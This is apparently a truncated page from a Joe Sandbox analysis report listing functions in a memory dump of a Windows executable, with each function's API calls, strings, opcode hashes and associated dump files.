Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: c501eb5055e5d5ca9b9f85540406b11e32c73c30130b5b9cab2e0587982378aa
Instruction ID: 3fef2ac9030151d99e26cefad4397572a8eb264d16afac6112b426a2ca26dcc1
Opcode Fuzzy Hash: c501eb5055e5d5ca9b9f85540406b11e32c73c30130b5b9cab2e0587982378aa
Instruction Fuzzy Hash: 3DE0EC7180C45CFACF1896929D869BF72BCAB48300F5148A2B91692000D7359B54AB21

Function 001D20F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,001D20EC,?,001CF751), ref: 001D2104
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 001D2116

Strings

kernel32.dll, xrefs: 001D20FF
GetProcessId, xrefs: 001D2110

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: b026acef8671d1df709cfa806b650792ae2e046e804c09d94062b658e518d371
Instruction ID: 94a1944dffa6109d42dc3de63112744f2953ee0d392d00ba095986d71f5289f7
Opcode Fuzzy Hash: b026acef8671d1df709cfa806b650792ae2e046e804c09d94062b658e518d371
Instruction Fuzzy Hash: 8ED0A734414322EFD7316FA0F80D62236D4AB14300B10841AE69AD1654D770C4D0CA10

Function 0018E6A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0018E69C,?,0018E43F), ref: 0018E6B4
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0018E6C6

Strings

GetNativeSystemInfo, xrefs: 0018E6C0
kernel32.dll, xrefs: 0018E6AF

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: d233b10d97576deb17f57fcf93a12929facdf7cae10e05a7a9b48f16b741d79e
Instruction ID: 5a331769fd7e93acbc02b9964e5b50a915f567352fd8d76390c3d0b1dcc70f0a
Opcode Fuzzy Hash: d233b10d97576deb17f57fcf93a12929facdf7cae10e05a7a9b48f16b741d79e
Instruction Fuzzy Hash: 1CD0A934818322EFD7306FB0F80867236E8AB24301F21542AE496E2660EBB0D8E0DB10

Function 0018E6E3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0018E6D9,0000000C,0018E55B,0020DC28,?,?), ref: 0018E6F1
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0018E703

Strings

IsWow64Process, xrefs: 0018E6FD
kernel32.dll, xrefs: 0018E6EC

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: IsWow64Process$kernel32.dll
API String ID: 2574300362-3024904723
Opcode ID: 42e1237068e74a2143ed2f6bbca7da8466977cff144f20c199181e0fe08d68aa
Instruction ID: 113ec30b20203b1270cd32eb9bca9bf77a8fd395a00608fcaec89a2dc6e7f91f
Opcode Fuzzy Hash: 42e1237068e74a2143ed2f6bbca7da8466977cff144f20c199181e0fe08d68aa
Instruction Fuzzy Hash: 82D05238814322FAD7203BA0B8486233FE8AB05300B01442AE496A2660DBB0D880CB91

Function 001CEBB9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,001CEBAF,?,001CEAAC), ref: 001CEBC7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 001CEBD9

Strings

GetSystemWow64DirectoryW, xrefs: 001CEBD3
kernel32.dll, xrefs: 001CEBC2

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: c2fae5d349d262a6f5efbc0eed307bc161922238abad60ca7ecf9e0e2873571e
Instruction ID: d983601b4b4b53704ac81613e5f6034c80e767946f83dde6f14262cbf3e66530
Opcode Fuzzy Hash: c2fae5d349d262a6f5efbc0eed307bc161922238abad60ca7ecf9e0e2873571e
Instruction Fuzzy Hash: 1FD05E34418722ABD7202F70B848B2136D4AB14304B11841DE45692550DB70DC80C610

Function 001B137B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,001B135F,?,001B1440), ref: 001B1389
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 001B139B

Strings

oleaut32.dll, xrefs: 001B1384
RegisterTypeLibForUser, xrefs: 001B1395

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: d80817fea8e266f33b10bd8267525c4ed6f205947799557e56668be245a97585
Instruction ID: c02a7ec54b5a5949e8809870c2f0712902f96f05e5b3eaa6dc7a64cb706c6907
Opcode Fuzzy Hash: d80817fea8e266f33b10bd8267525c4ed6f205947799557e56668be245a97585
Instruction Fuzzy Hash: 51D0A731C24322BFD7204F64F8087A536D4FF04314F054419E486D1960E7B4C5D0D720

Function 001B13A6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,001B1371,?,001B1519), ref: 001B13B4
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 001B13C6

Strings

oleaut32.dll, xrefs: 001B13AF
UnRegisterTypeLibForUser, xrefs: 001B13C0

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: cd200e7befc835f529ae5ba7692864dd5982a24be35a219e423f268deabf7a8a
Instruction ID: 13eba079aefb3084b04dbfad00ff4a6d1faf703cd1d0b068e457e6c2c897a6ac
Opcode Fuzzy Hash: cd200e7befc835f529ae5ba7692864dd5982a24be35a219e423f268deabf7a8a
Instruction Fuzzy Hash: 5ED0A730414322BFD7204F65F80866136E9BB40314F014419E456D1970EBB4C4C0C710

Function 001D3ACC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,001D3AC2,?,001D29F5), ref: 001D3ADA
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 001D3AEC

Strings

advapi32.dll, xrefs: 001D3AD5
RegDeleteKeyExW, xrefs: 001D3AE6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 6fceea1b098f53834e4b25a031436e393b15bacac269c13b683de84caccbe422
Instruction ID: 744c8e75c00b31561669cefa6b9152c702b8343b5be2f8ea06a55d2297121ac2
Opcode Fuzzy Hash: 6fceea1b098f53834e4b25a031436e393b15bacac269c13b683de84caccbe422
Instruction Fuzzy Hash: AFD0A7315183239FD7205F60F80D66177D8AB12304B00442AF4E6D2A90EFF0C4C0C611

Function 0017AA70 Relevance: 6.3, APIs: 4, Instructions: 300COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00000000,?,00000000,00000001,00000000,00000000,?,?,00000000,?,?,001C6AA6), ref: 0017AB2D
_wcscmp.LIBCMT ref: 0017AB49

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharUpper_wcscmp
String ID:
API String ID: 820872866-0
Opcode ID: b4348f27793f92a6d401134d7772359d91305475e8952aff5ce80caea9d506b1
Instruction ID: 489edb44472f102b04cad050431f11e8afeb92ab481c1a331d786d22aa3aa1a1
Opcode Fuzzy Hash: b4348f27793f92a6d401134d7772359d91305475e8952aff5ce80caea9d506b1
Instruction Fuzzy Hash: CCA10571B00106EBDB19DF65E9856BDB7B1FF84300FA58169EC5AC3290DB319871C782

Function 001D0D01 Relevance: 6.3, APIs: 4, Instructions: 300memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 001D0D85
CharLowerBuffW.USER32(?,?), ref: 001D0DC8

Part of subcall function 001D0458: CharLowerBuffW.USER32(?,?,?,?), ref: 001D0478

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 001D0FB2
_memmove.LIBCMT ref: 001D0FC2

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: ece211aa21c74882f169e460d25f6e0cb1c2f0af71628af2ca133b41d495e071
Instruction ID: ee9acce06903daa6c93fa831796a745816e4f629d530eee168e240339f48abec
Opcode Fuzzy Hash: ece211aa21c74882f169e460d25f6e0cb1c2f0af71628af2ca133b41d495e071
Instruction Fuzzy Hash: C8B18F716043009FC705DF28C480A6AB7F5EF99714F14896EF8899B352DB71EE46CB92

Function 001CAF26 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 001CAF56
CoUninitialize.COMBASE ref: 001CAF61

Part of subcall function 001B1050: CoCreateInstance.COMBASE(?,00000000,00000005,?,?), ref: 001B10B8

VariantInit.OLEAUT32(?), ref: 001CAF6C
VariantClear.OLEAUT32(?), ref: 001CB23F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 0f9ac94c77e1329dffd474ff66cfdacfc6fb6acd334838f66bc4a78961b89795
Instruction ID: 459aa00899442a4ad5b9cfc53d0206aaf23a012624794d6addae710ec3a31be2
Opcode Fuzzy Hash: 0f9ac94c77e1329dffd474ff66cfdacfc6fb6acd334838f66bc4a78961b89795
Instruction Fuzzy Hash: 6FA11575604601AFCB10DF14C896F6AB7E4BFA8360F05845DF99A9B3A1CB70ED40CB82

Function 0017C320 Relevance: 6.3, APIs: 4, Instructions: 259fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0017C419
ReadFile.KERNEL32(?,?,00010000,?,00000000,?,?,00000000,?,001B6653,?,?,00000000), ref: 0017C495

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FileRead_memmove
String ID:
API String ID: 1325644223-0
Opcode ID: 98303a31ef4dc99061717077b7c7f3a828518ad0c24989c22a41981c0178ef61
Instruction ID: 209b3595941810f62e620751c93d2f48982ea6105848c4f4df99e4020dd19074
Opcode Fuzzy Hash: 98303a31ef4dc99061717077b7c7f3a828518ad0c24989c22a41981c0178ef61
Instruction Fuzzy Hash: BAA1CE30A04609EBDB14CF65D894BBDFBB0FF05300F14C199E86A9B285D735E961DB91

Function 001942EB Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00194347
_memcpy_s.LIBCMT ref: 001943B9
__filbuf.LIBCMT ref: 0019443A
_memset.LIBCMT ref: 0019447E

Part of subcall function 0019889E: __getptd_noexit.LIBCMT ref: 0019889E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit_memcpy_s
String ID:
API String ID: 3877424927-0
Opcode ID: aebda769b95e77701e436127e080a9cadaa2a4c9016d62218a8c9d4b87048a89
Instruction ID: b746b136fe2457f92edf2387c35b73f4b6868d4782dd61782e6db5a4c1d61e81
Opcode Fuzzy Hash: aebda769b95e77701e436127e080a9cadaa2a4c9016d62218a8c9d4b87048a89
Instruction Fuzzy Hash: 3851AE30A00316EBDF288FB98880AAE77B5BF50324F248729F865972D0D7709E529B40

Function 001DC2E7 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 001DC354
ScreenToClient.USER32(?,00000002), ref: 001DC384
MoveWindow.USER32(00000002,?,?,?,000000FF,00000001,?,00000002,?,?,?,00000002,?,?), ref: 001DC3EA

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: d81f997599f44a86184c9735468904f0d4c7aaab8b72012ec9af62b72fdf72b9
Instruction ID: cc7d8a2dd3614ea9b0193af79adaaec37e5a6213e7cba3a195ed71fc06128f08
Opcode Fuzzy Hash: d81f997599f44a86184c9735468904f0d4c7aaab8b72012ec9af62b72fdf72b9
Instruction Fuzzy Hash: 2F514C71A00206EFDF10DF68D884AAE7BB6BB55360F20895AF9159B291D770ED41CB90

Function 001AD206 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 001AD258
__itow.LIBCMT ref: 001AD292

Part of subcall function 001AD4DE: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 001AD549

SendMessageW.USER32(?,0000110A,00000001,?), ref: 001AD2FB
__itow.LIBCMT ref: 001AD350

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: d138f2f6074f04fe6809944a6c3832969ef94793855d3c3234e19f68746d188d
Instruction ID: 715e481343ba77c8a616a0bc5c9886e3d800745bed898ed3b517e0835d5a4f33
Opcode Fuzzy Hash: d138f2f6074f04fe6809944a6c3832969ef94793855d3c3234e19f68746d188d
Instruction Fuzzy Hash: A541C875A00709AFDF15DF94DC42FEE7BB9AF59710F004029FA06A7281DB709A45CB62

Function 001BEE88 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 001BEF32
GetLastError.KERNEL32(?,00000000), ref: 001BEF58
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 001BEF7D
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 001BEFA9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: ba8508d981fda5a5069f99a619cdc77599d16c00e06dcdb31fe8c44db36373c6
Instruction ID: d6f0b71a47843e71ce866277e562240f9e0d5d7df791905ea90d2071daf42798
Opcode Fuzzy Hash: ba8508d981fda5a5069f99a619cdc77599d16c00e06dcdb31fe8c44db36373c6
Instruction Fuzzy Hash: 4B414C39600611DFCB11EF15C548A99BBF5EF99320B19C098E84AAF762CB70FD40DB91

Function 001DB354 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 001DB3E1

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: b53e6a738da46848452b9a777e4cf99b10d65eded4588490d98fe74d607b04c1
